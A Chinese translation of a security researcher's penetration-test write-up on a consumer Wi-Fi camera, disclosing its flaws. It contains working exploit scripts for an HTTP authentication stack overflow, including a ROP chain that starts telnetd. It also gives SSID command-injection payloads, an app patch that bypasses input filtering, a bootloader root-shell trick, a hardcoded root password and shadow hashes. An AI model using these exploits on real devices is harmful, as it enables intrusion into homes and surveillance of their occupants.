译者注:直接英译中后语句太过拗口,在不改变原意的情况下做了些许调整
原文:IoT: Pentest of a Connected Camera
[TOC]
IoT:对联网摄像头的渗透测试
01-描述
在我们的研发过程中,我们对联网的摄像头进行了渗透测试。
这种摄像机主要用于终端用户远程监控他们的房子。
之所以选择这种型号,是因为它符合个人使用的经典客户标准:
具备夜视功能的高清摄像头
不是很昂贵,价格低于100美元
可以在多家DIY商店买到
在本文中,我们将给出测试结果,展示几种远程控制摄像机、利用如下漏洞(包括0-day漏洞)的方法:
1.1. web程序的栈缓冲区溢出
1.2 通过串口、uboot程序修改而获取到root shell
1.3 通过接入点SSID内的命令注入漏洞实现远程代码执行
还将重点介绍在研究过程中发现的一些不安全的点
1.4 凭证硬编码
1.5 源代码中API密钥的明文存储(Facebook、Dropbox等)
1.6 缺乏安全传输层
02-拆盒及安装
盒子里只有摄像机与usb线,没有任何SD卡
阅读手册后,我们使用从Android Pla-y Store下载的专用app来配置摄像头。
设置网络时,由于没有与摄像机直接交互,故有一点麻烦。
首先要处理的是Wi-Fi网络、移动操作系统与厂商app的兼容性。
如下是具体步骤:
当摄像头第一次开机时,它将会暴露一个默认的Wi-Fi SSID(在这称为Cam-AP)
一旦连接到家庭的WiFi网络(手机已连接上的),移动app将会收集连接参数;
然后,移动APP断开与家庭WiFI的连接,并开始查找名为“Cam-AP”的摄像头的SSID;
一旦发现,APP将连接到摄像头的SSID,并将家庭的WiFi配置推送到摄像头;
最终,摄像头和app都连接到家庭的WiFi SSID
移动APP将请求一个新密码来更新默认密码,在这我们按下“admin123”,但在这,第一次发现漏洞,如果在设置新密码之前关闭了APP,那么默认的“admin”密码将永远不会更改,摄像机将使用弱密码的配置
然后,我们可以从手机上远程访问摄像头,而无需连接到无线网络,并且摄像头可以连接到互联网(云端基础设施类型)。
03-PCB印刷电路板分析
摄像头基于Goke GK7102 SoC(片上系统),包括多个计算机组件,如CPU、内存和存储器,全部集成在一个芯片上。
它主要用于高清IP摄像头,集成了ARM处理器,并且支持一些加密引擎(AES、DES、3DES)。
此外,还提供了一个UART串口(source)。
以下是摄像头PCB一侧的概览:
另一侧集成了CMOS传感器、MT7601 Wi-Fi模块和音频放大器:
04-漏洞分析
本节将介绍几个可能严重危害摄像头的漏洞。
4.1-web程序的栈溢出
摄像头安装完成,将其连接到无线网络并开始扫描。找到摄像头IP地址后,使用nmap扫描其暴露的服务:
[mickael@m ~]$ nmap 172.20.10.10 -n -Pn -p-
Nmap scan report for 172.20.10.10
PORT STATE SERVICE VERSION
80/tcp open http Mongoose httpd
554/tcp open rtsp
1935/tcp open tcpwrapped
8080/tcp open soap gSOAP 2.8
MAC Address: 08:EA:40:9C:69:92 (Shenzhen Bilian Electronicltd)
令人吃惊的是,telnet服务没有被监听,因为大多数这种类型的摄像机都会如此。
我们想要分析web程序,但需要凭据才能访问它(HTTP基本认证):
我们尝试了配置过程中设置的admin:admin123
,这似乎有效。但是,返回了一个空白页面……
然后,我们使用wfuzz工具对web程序进行模糊测试,来查找一些隐藏目录:
[mickael@m ]$ wfuzz --sc 200,401 -w directory-list-2.3-small.txt http://172.20.10.10/FUZZ
Target: http://172.20.10.10/FUZZ
Total requests: 87652
==================================================================
ID Response Lines Word Chars Payload
==================================================================
000001: C=401 13 L 35 W 436 Ch "#"
000627: C=401 13 L 35 W 436 Ch "log"
004362: C=401 13 L 35 W 436 Ch "sd"
006322: C=200 2 L 2 W 40 Ch "iphone"
025276: C=404 1 L 7 W 35 Ch "rtdb"
目录遍历漏洞暴露了日志数据,其中包含大量敏感信息(认证后的访问):
4.1.1-有趣的目录内容
sd
: 摄像记录ipc_server
: 二进制应用程序,可能是web服务器syslog.txt
: 应用程序日志wifi.conf
: 移动app注入的无线Wi-Fi配置,包括SSID和密码。
4.1.2-HTTP 基础认证中的缓冲区溢出
清除浏览器中的缓存和cookie后,我们尝试重新登录web程序,但这次使用了过长的用户名和密码(超过150个字符):
curl -u $(python -c "print 'a'*150"):$(python -c "print 'a'*150") http://127.0.0.1:1234
此时,摄像机播放了一声“bip”并立即重新启动。我们再次尝试使用另一个随机字符串,同样的事情发生了。
我们立即想到了一个可能的未处理异常,例如溢出,因此我们开始逆向在/log
目录中找到的ipc_server
二进制文件。它正好是负责管理摄像机所有服务的二进制文件,包括发生溢出的web界面。
在IDA Pro观察一个有趣函数的反汇编代码,该函数将摄像头密码重置为admin
首先我们选择盲测的方法,,开发一个简单的Python脚本,内含一个循环,不断添加空字节作为前缀,与该重置函数的地址结合。
我们的目标是溢出目的缓冲区,劫持程序执行流到该函数中,将密码重置为admin
。这是一种简单的方法,可用来确认攻击是否有效。
因此在实践中,我们的脚本发送一个HTTP身份验证,其payload如下:
# First loop:
NULLBYTE + RESET_PWD_ADDRESS
# Second loop:
(NULLBYTE * 2) + RESET_PWD_ADDRESS
# Third loop:
(NULLBYTE * 3) + RESET_PWD_ADDRESS
由于在某些尝试之后会发生崩溃,我们的攻击代码应该等待足够长的时间,以便设备能够自动重启。脚本如下所示:
from requests import get
from struct import pack
from time import sleep
FORBIDDEN_URL = "http://172.20.10.10/log"
NULL_BYTE = "\x00"
RESET_PWD_ADDRESS = pack('<I', 0x7BCF4)
def main():
is_up = 0
for i in range(139, 250):
while is_up == 0:
is_up = check_connectivity()
print "=> Camera is UP, exploiting with (%s NULL_BYTE + RESET_PWD_ADDRESS)" % i
sleep(15) #prevent sending another increase request while the camera is rebooting
do_exploit(i)
is_up = 0
def check_connectivity():
try:
r = get(FORBIDDEN_URL, auth=('admin','admin'), timeout=5)
if r.status_code == 401:
return 1
elif r.status_code == 200:
print "[*] /!\ Successfull exploit, connect to %s using admin:admin" % FORBIDDEN_URL
exit(0)
else:
return 0
except:
print "[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec"
sleep(60)
return 0
def do_exploit(i):
payload = i * NULL_BYTE + RESET_PWD_ADDRESS
try:
r = get(FORBIDDEN_URL, auth=(payload,''), timeout=5)
exit(0)
except:
pass
if __name__ == '__main__':
main()
从第139次尝试开始,摄像机开始崩溃并重启。
更好的是,在第140次尝试中,我们得到了更有趣的东西:
=> Camera is UP, exploiting with (130 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (131 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (132 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (133 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (134 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (135 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (136 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (137 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (138 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (139 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
=> Camera is UP, exploiting with (140 NULL_BYTE + RESET_PWD_ADDRESS)
[*] Camera is not reachable, probably crashed and rebooting... Waiting 60 sec
[*] /!\ Successfull exploit, connect to http://172.20.10.10/log/ using admin:admin
通过我们的攻击,可以成功更新密码。
4.1.3-获取远程shell
经过进一步研究,我们发现一些方法,可以通过启用telnetd服务,来获取一个网络shell
方法1
NX保护已启用,我们可以通过带有peda
插件的gdb
来对二进制进行检查。
$ gdb ipc_server
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
由于ASLR和NX保护措施的存在,我们将构建ROP攻击,这是绕过此类保护,来利用溢出的有效方法。
为了做到这一点,我们开始在 ipc_server
二进制文件中寻找有趣的gadgets 。我们发现了一个可以调用命令的 system
函数:
因此,我们更新了最初的python脚本,添加了一些ARM汇编指令,包含了telnetd
字符串地址(位于二进制中.text
区段)以及system()
函数地址。
我们也在二进制文件中的.text
区段中发现了telnetd
字符串。
因此,将这些部分组合在一起,在利用代码中得到了如下ARM指令,将telnetd
字符串布置在栈上,并调用system()
函数
from requests import get
FORBIDDEN_URL = "http://127.0.0.1/log"
def exploit():
rop = "\xa4\xbb\x0b\x00" # pop {r0, pc}
rop += "\x9c\xea\x0b\x00" # telnetd str addr
rop += "\x98\x77\x02\x00" # system addr
payload = 140 * "\x00" + rop
try:
r = get(FORBIDDEN_URL, auth=(payload,''), timeout=2)
print r.text
exit(0)
except:
pass
if __name__ == '__main__':
exploit()
如我们所期待的那样,攻击有效,telnetd
服务成功被启用
[mickael@m ~]$ nmap 172.20.10.10 -n -Pn -p-
Nmap scan report for 172.20.10.10
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
554/tcp open rtsp
1935/tcp open tcpwrapped
8080/tcp open soap
MAC Address: 08:EA:40:9C:69:92 (Shenzhen Bilian Electronicltd)
方法2
在ipc_server
二进制内部,我们发现了web页面backup.cgi
,可备份配置数据到压缩包,提取出来后可见这些配置文件。
[mickael@m mnt]$ tree
.
└── mtd
└── ipc
└── conf
├── config_3thddns.ini
├── config_action.ini
├── config_alarm.ini
├── config_alarm_token.ini
├── config_com485.ini
├── config_cover.ini
├── config_custom.ini
├── config_debug.ini
├── config_devices.ini
├── config_encode.ini
├── config_image.ini
├── config_md.ini
├── config_ntp.ini
├── config_osd.ini
├── config_ptz.ini
├── config_recsnap.ini
├── config_run3g.ini
├── config_schedule.ini
├── config_sysinfo.ini
├── config_timer.ini
├── config_user.ini
├── config_videoex.ini
├── ipcam_upnp.xml
├── TZ
├── udhcpc
│ ├── default.bound
│ ├── default.deconfig
│ ├── default.leasefail
│ ├── default.renew
│ └── default.script
├── udhcps
│ └── udhcpd.conf
└── wifi.conf
其中有一个config_debug.ini
文件,内含调试模式的信息
[debug]
denable = "0"
dserver = "192.168.1.88 "
dport = "12990"
[telnet]
tenable = "0"
根据 documentation对其进行了修改,启用telnetd
服务后,重建config_file
压缩包
post
请求推送压缩包到restore
函数
html
<form name="test" method="post" enctype="multipart/form-data" action="http://172.20.10.10/restore.cgi">
<input type="file" name="setting_file">
<input type="submit" value="restore">
</form>
然后,摄影机重启后,telnetd
服务并没有启用,有地方出错了…,确实,我们在备份的配置文件后面发现了特定的字符串。
请注意base64编码的字符串。它可以被解码为“VF”和“HX”字符。我们假设“HX”对应于摄像机系列,“VF”表示“验证”:
$ echo "ARAAAGh4VkZIWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | base64 -d
hxVFHX
我们使用一个简单的python脚本,将此“secure”块添加到修改后的的 config_file
压缩包中。
#!/usr/bin/env python
INITIAL_FILE = "initial_config_backup.bin"
PATCHED_FILE = "final_config_backup.bin"
def main():
with open(INITIAL_FILE, "r") as f:
initial_file_content = f.read()
to_patch = initial_file_content[-262:]
with open(PATCHED_FILE, "r") as f:
patched_file_content = f.read()
patched_file_content = (patched_file_content[:-262] + to_patch)
with open(PATCHED_FILE, 'wb') as f :
f.write(patched_file_content)
if __name__ == '__main__':
main()
通过新生成的备份文件压缩包,我们成功地恢复了配置,并再次启用了telnet服务。
4.2-凭证获取
我们执行了一个简单的暴力破解攻击,结果显示admin
和root
密码均为2601hx
此外,还是超级用户,拥有设备操作系统的所有权限:
[mickael@m ~]$ telnet 172.20.10.10
Trying 172.20.10.10...
Connected to 172.20.10.10.
Escape character is '^]'.
IPCamera login: admin
Password:
$ su
Password:
$ cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::
4.3-深入栈溢出漏洞
我们希望更好地了解该漏洞。
可能利用栈溢出漏洞来获取远程反向shell,但肯定不会使用此处描述的方法。
为了构建环境,我们使用QEMU和带有gdb的ARM树莓派来调试程序。
我们必须使用hexedit工具,手动修改二进制程序中20多条ARM指令,因为在虚拟化环境中运行,所以需要绕过一些硬件检查和异常。
一开始,发送 140个 'A'
字符和 BCDE
字符串作为 HTTP的基础认证,不出所料,$pc
栈指针寄存器 (相当于ARM-x86中的$eip
) 成功被覆盖。
结果,程序在gdb中崩溃了,信息如下:
0x45444342 in ?? ()
查看函数回调,找到了崩溃发生的函数。
gdb$ backtrace
#0 0x45444342 in ?? ()
#1 0x00042ac0 in HI_INI_User_Auth ()
#2 0x00000000 in ?? ()
查看 $pc
寄存器,确认已经被溢出
gdb$ frame 0
#0 0x45444342 in ?? ()
gdb$ i r
r0 0xffffffff 0xffffffff
r1 0xb4c12b79 0xb4c12b79
r2 0x67 0x67
r3 0x0 0x0
r4 0x41414141 0x41414141
r5 0x41414141 0x41414141
r6 0x41414141 0x41414141
r7 0x1a6634 0x1a6634
r8 0x1a6664 0x1a6664
r9 0x1a6630 0x1a6630
r10 0x1a4620 0x1a4620
r11 0x1a45b0 0x1a45b0
r12 0xe0478 0xe0478
sp 0xb4c12c60 0xb4c12c60
lr 0x42ac0 0x42ac0
pc 0x45444342 0x45444342 <<<<<<<<<<<<<<<<<<<<<<<<<
cpsr 0x60000010 0x60000010
此外,payload也全部写入栈
gdb$ x/-50x $sp
0xb4c12b98: 0x00000000 0x00000000 0x00000000 0x00000000
0xb4c12ba8: 0x00000000 0x00000000 0x00000000 0x00000000
0xb4c12bb8: 0x001a68dc 0x00104810 0x001a68dc 0x001a68d8
0xb4c12bc8: 0x001a6634 0x00042c54 0x41414141 0x41414141
0xb4c12bd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12be8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12bf8: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c08: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c18: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c28: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c38: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c48: 0x41414141 0x41414141 0x41414141 0x41414141
0xb4c12c58: 0x41414141 0x45444342
随后发送大量 'B'
字符, 发现 $lr
寄存器(用于保存函数调用的返回地址)指向 HI_INI_HTTP_Pla-IN_Auth_CALLBACK
函数
因此,问题可能发生在 HI_INI_User_Auth
函数之前。
使用ida pro,查看函数 HI_INI_User_Auth
的交叉引用,发现HI_INI_HTTP_Pla-IN_Auth_CALLBACK
函数:
HI_INI_HTTP_BASIC_Auth_CALLBACK
函数用于解码base64形式的HTTP realm,并将结果传参到HI_INI_HTTP_Pla-IN_Auth_CALLBACK` 函数中。
由上图可见,buffer变量有128字节的大小,作为参数传到 libs_base64decode
函数中。
当超过128字节时,由于缺乏内存分配控制,此函数中会发生内存溢出。
用带有peda插件的gdb设置许多软件断点后,深入libs_base64decode
函数的调用,更准确的观察其参数。
进入函数后,逐步执行每条指令,最终重现此问题。
由于没有长度的控制,在每一轮base64解码后, buffer
变量中数据越来越多。
为了验证这点,在base64解码循环的结尾(0x000254c4
)放置断点,gdb命令触发断点后,分析其栈空间及寄存器。
peda-arm > b*0x000254c4
Breakpoint 7 at 0x254c4
peda-arm > commands 7
Type commands for breakpoint(s) 7, one per line.
End with a line saying just "end".
>x/100x $sp
>x/s $r1
>x/s $r2
>x/s $r3
>continue
>end
在多轮循环之后,我们可以看到,由于没有控制buffer变量的大小(在这时186字节,大于一开始分配的128字节),在base64解码函数中发生了溢出。
用前面同样的断点及一些指令,在循环中,我们只打印出$r2
寄存器 (包含base64解码后的值) during the loop.
我们能够确认,在初始分配的128个字节之后,此函数开始覆盖栈中其它现有的数据:
peda-arm > b *0x000254c4
Breakpoint 1 at 0x254c4
peda-arm > commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/s $r2
>continue
end
peda-arm > start
另一个角度,显示栈指针后的75字节,可用如下命令再次展示正被覆盖的其它数据:
peda-arm > b *0x000254c4
Breakpoint 1 at 0x254c4
peda-arm > commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/75x $sp
>continue
end
peda-arm > start
在此可见有许多十六进制的“B”字符,因此每一轮循环都添加了“42”:
buffer 变量最终传参到 HI_INI_HTTP_Pla-IN_Auth_CALLBACK
函数中,之后产生bug
4.4-通过串口及boot修改获取root shell
拆开设备后,我们发现了四个接口(如PCB分析部分所述)。为了确认它是UART串口,使用万用表(通电后)来确定哪个接口是GND、VCC、TX和RX:
3.3v 电压的是VCC
低电压的是TX
RX大约有3v,在开机后电压会有变化
在电阻模式下,GND的电阻为0欧姆。
然后,使用shikra USB工具,按照 xipiter的模式连接摄像头:
使用 baudrate.py
脚本(https://github.com/devttys0/baudrate)识别波特率后,再通过Shikra线,使用screen
(或者miniterm
和 minicom
)连接到摄像机。
如下是重启设备后,系统引导过程中的部分日志:
3
2
1
0
[PROCESS_SEPARATORS] run sfboot
[PROCESS_SEPARATORS] setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
SF: Detected W25Q256FV with page size 256 B, sector size 64 KiB, total size 32 MiB
put param to memory
mem size (41)
bsb size (2)
the kernel image is zImage or Image
entry = 0xc1000000
## Transferring control to Linux (at address c1000000)...
Starting kernel ...
machid = 3988 r2 = 0xc0000100
Uncompressing Linux... done, booting the kernel.
[ 0.000000] Booting Linux on physical CPU 0
[ 0.000000] Linux version 3.4.43-gk (root@localhost.localdomain) (gcc version 4.6.1 (crosstool-NG 1.18.0) ) #14 PREEMPT Fri Dec 9 14:49:48 CST 2016
[ 0.000000] CPU: ARMv6-compatible processor [410fb767] revision 7 (ARMv7), cr=00c5387d
连接摄像头需要登录验证(如前所述为admin:2601hx)。因此,在相机上获取到root shell。
注意到在启动过程中的如下数字顺序
3
2
1
0
实际上,在一个计时器内,按下任意键可以停止boot过程
3
2
1
0
GK7102 #
GK7102 # help
[PROCESS_SEPARATORS] help
? - alias for 'help'
base - print or set address offset
bdinfo - print Board Info structure
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootelf - Boot from an ELF image in memory
bootm - boot application image from memory
bootp - boot image via network using BOOTP/TFTP protocol
bootvx - Boot vxWorks from an ELF image
bootz - boot Linux zImage image from memory
cmp - memory compare
coninfo - print console devices and information
cp - memory copy
crc32 - checksum calculation
dhcp - boot image via network using DHCP/TFTP protocol
echo - echo args to console
editenv - edit environment variable
env - environment handling commands
erase - erase FLASH memory
flinfo - print FLASH memory information
go - start application at address 'addr'
help - print command description/usage
iminfo - print header information for application image
imls - list all images found in flash
imxtract- extract a part of a multi-image
itest - return true/false on integer compare
loadb - load binary file over serial line (kermit mode)
loads - load S-Record file over serial line
loady - load binary file over serial line (ymodem mode)
loop - infinite loop on address range
md - memory disPla-y
mm - memory modify (auto-incrementing address)
mtest - simple RAM read/write test
mw - memory write (fill)
nfs - boot image via network using NFS protocol
nm - memory modify (constant address)
ping - send ICMP ECHO_REQUEST to network host
printenv- print environment variables
protect - enable or disable FLASH write protection
reset - Perform RESET of the CPU
run - run commands in an environment variable
saveenv - save environment variables to persistent storage
setenv - set environment variables
sf - SPI flash sub-system
sleep - delay execution for some time
snand - SpiNAND sub-system
source - run script from memory
tftpboot- boot image via network using TFTP protocol
version - print monitor, compiler and linker version
之后,使用 printenv
命令, 在名为 sfboot
的环境变量中可见boot参数
GK7102 # printenv sfboot
[PROCESS_SEPARATORS] printenv sfboot
sfboot=setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=linuxrc ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm
可以很容易的修改 init
值,将其从 linuxrc
改为 /bin/sh
:
GK7102 # setenv sfboot 'setenv bootargs console=${consoledev},${baudrate} noinitrd mem=${mem} rw ${rootfstype} init=/bin/sh ;sf probe 0 0;sf read ${loadaddr} ${sfkernel} ${filesize}; bootm'
在更改后,使用如下命令启动相机
GK7102 # run sfboot
当设备启动完成后,可以获取到一个shell
~ #
~ # id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
~ # cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::
4.5-终端SSID中命令注入导致的RCE
我们快速分析了摄像机中一些脚本源码,找到了一个用于配置无线网络的脚本。
如下是一段有意思的片段:
loadwificonf()
{
. $TMP_PATH/twifi.conf
iwpriv $NETDEV set AuthMode=$WifiMode
iwpriv $NETDEV set NetworkType=Infra
iwpriv $NETDEV set EncrypType=$WifiEnc
if [ $WifiEnc != "NONE" ]
then
if [ $WifiEnc == "WEP" ]
then
iwpriv $NETDEV set DefaultKeyID=1
iwpriv $NETDEV set Key1="$WifiKey"
else
iwpriv $NETDEV set WPAPSK="$WifiKey"
fi
fi
iwpriv $NETDEV set SSID="$WifiSsid"
}
最后一行容易遭受SSID变量的代码注入
为了利用此漏洞,我们将SSID配置为:
AP"|/usr/sbin/touch /tmp/sysdream"
AP"|/sbin/telnetd"
之后,我们尝试使用此Wi-Fi接入点配置摄像头,但app禁止在SSID中使用特殊字符。
为了绕过此限制,我们决定patch此app:
使用工具
apktool
(https://ibotpeaches.github.io/Apktool/), 将apk解包使用工具
dex2jar
(https://github.com/pxb1988/dex2jar), 将dex文件转为标准的class文件
然后使用工具 jd-guitool
(https://github.com/java-decompiler/jd-gui), 检查源代码,来找到限制的检查函数
.method public isSupportedSsid()Z
.locals 3
.prologue
const/4 v1, 0x0
.line 249
invoke-virtual {p0}, Lcom/tws/common/bean/ConnectionState;->getSsid()Ljava/lang/String;
move-result-object v2
if-nez v2, :cond_1
.line 253
:cond_0
:goto_0
return v1
.line 252
:cond_1
invoke-virtual {p0}, Lcom/tws/common/bean/ConnectionState;->getSsid()Ljava/lang/String;
move-result-object v2
invoke-virtual {p0, v2}, Lcom/tws/common/bean/ConnectionState;->getNotSupportedChar(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
.line 253
.local v0, "unSupportedChars":Ljava/lang/String;
invoke-virtual {v0}, Ljava/lang/String;->trim()Ljava/lang/String;
move-result-object v2
invoke-virtual {v2}, Ljava/lang/String;->length()I
move-result v2
if-nez v2, :cond_0
const/4 v1, 0x1
goto :goto_0
.end method
如果app收到带有特殊字符的SSID,将返回 false
,故修改它返回true
即可绕过此限制。
对最初的部分进行了更改:
.line 253
:cond_0
:goto_0
return v1
修补的部分是:
.line 253
:cond_0
:goto_0
const/4 v1, 0x1
return v1
使用工具 apktool
重打包程序, 使用Oracle 的 jarsigner
对其进行签名,之后从手机app中重新启动配置过程。
这一次,注入的特殊字符被接受,设备执行了payload。可以启用telnetd
服务或创建一个简单文件来确认该漏洞。
4.6-凭证硬编码
如前面所述,有两个硬编码的系统凭证是相同的(密码重用漏洞)。实际上,通过对telnetd服务进行爆破,可以获取到账号admin和root的密码均为2601hx。如下是“/etc/shadow”的文件内容,可以看到相同的DES哈希密码:
$ cat /etc/shadow
root:RdQhwfYI/a1kQ:0:0:99999:7:::
bin:*:10933:0:99999:7:::
daemon:*:10933:0:99999:7:::
adm:*:10933:0:99999:7:::
lp:*:10933:0:99999:7:::
sync:*:10933:0:99999:7:::
shutdown:*:10933:0:99999:7:::
halt:*:10933:0:99999:7:::
uucp:*:10933:0:99999:7:::
operator:*:10933:0:99999:7:::
ftp:*:10933:0:99999:7:::
nobody:*:10933:0:99999:7:::
default::10933:0:99999:7:::
admin:RdQhwfYI/a1kQ:0:0:99999:7:::
我们也验证了,用如下命令使用DES算法可生成 2601hx
的哈希值,其中盐值为RdQhwfYI
:
[mickael@m ]$ makepasswd -e des -s RdQhwfYI -p 2601hx
2601hx RdQhwfYI/a1kQ
4.7-明文存储的API Key
阅读安装手册后,我们在Axxxxxx程序的源代码中识别了多个敏感的API密钥。
首先,我们从Google Pla-y下载这个应用程序。
然后,我们使用一部root过的android手机,将apk复制到测试机中:
$ adb pull /data/app/com.tws.aviwatch/base.apk
因为APK只不过是ZIP文件,所以将其解压缩。
在asset 文件夹中,我们找到了一个名为ShareSDK.xml
的文件,对其进行grep后可获取到密钥
$ egrep -i 'key|secret' -B 4 ShareSDK.xml | egrep -vi 'sortid|id'
<LinkedIn
ApiKey="ejo5ib******"
SecretKey="cC7B2jpx********"
--
<FourSquare
ClientSecret="3XHQNSMMHIFBYOLWEPONNV4DOTCDBQH0****************"
--
<Flickr
ApiKey="33d833ee6b6fca49****************"
ApiSecret="3a2c5b42********"
--
<Tumblr
OAuthConsumerKey="2QUXqO9fcgGdtGG1FcvML6ZunIQzAEL8xY****************"
SecretKey="3Rt0sPFj7u2g39mEVB3IBpOzKnM3JnTtxX****************"
--
<Dropbox
AppKey="i5vw2me********"
AppSecret="3i9xifs********"
--
<Instagram
ClientSecret="1b2e82f110264869****************"
4.8-缺乏安全传输层
在手机和摄像头的连接中截获网络流量后,我们发现数据没有被加密。
事实上,通信数据(包括密码)是通过UDP协议以明文形式发送的。在初始设置过程中,Android APP要求设置一个新密码,该密码在发送之前用base64编码:
当APP询问新密码时,可以立即关闭app,因此密码保持不变(admin
)。为了测试相机的合法用户,我们重新配置密码为admin123
[mickael@m ~]$ echo -n "YWRtaW4xMjMh" | base64 -d
admin123![mickael@m ~]$
05-结论
通过分析,我们发现了几个漏洞(主要由于不安全的开发方法以及缺乏系统和网络层面的安全加固),这些漏洞将会使那些连接互联网的摄像头遭受远程攻击
如果攻击者能够发现并利用这些漏洞,他不仅能够监视用户、更改视频流,而且也可以访问客户的内部专用网络并对其造成损害。此外,我们在互联网上发现许多摄像头运行着同一个易受攻击的应用程序 ipc_server。
众所周知,许多物联网设备被迅速推向市场,但忽视了对安全的最佳实践。
除此之外,由于第三方的安全性,供应链的问题也随之产生。当产品由十几个制造商的硬件组件、固件和硬件库组成时,供应商应该如何控制安全性和管理事件报告呢?在这个分散的环境中,这根本是不可能的。
本文主要证明了被IoT设备不安全使用的风险,而这些设备没有采取任何安全措施
希望你喜欢本文。
06-Credits
Mickael KARATEKIN <m.karatekin -at- sysdream.com>
07-致谢
非常感谢我在Sysdream的所有同事,特别是:
Jean-Christophe Baptiste;
Nicolas Chatelain;
Pierre Yves Maes;
Gaël Tulger.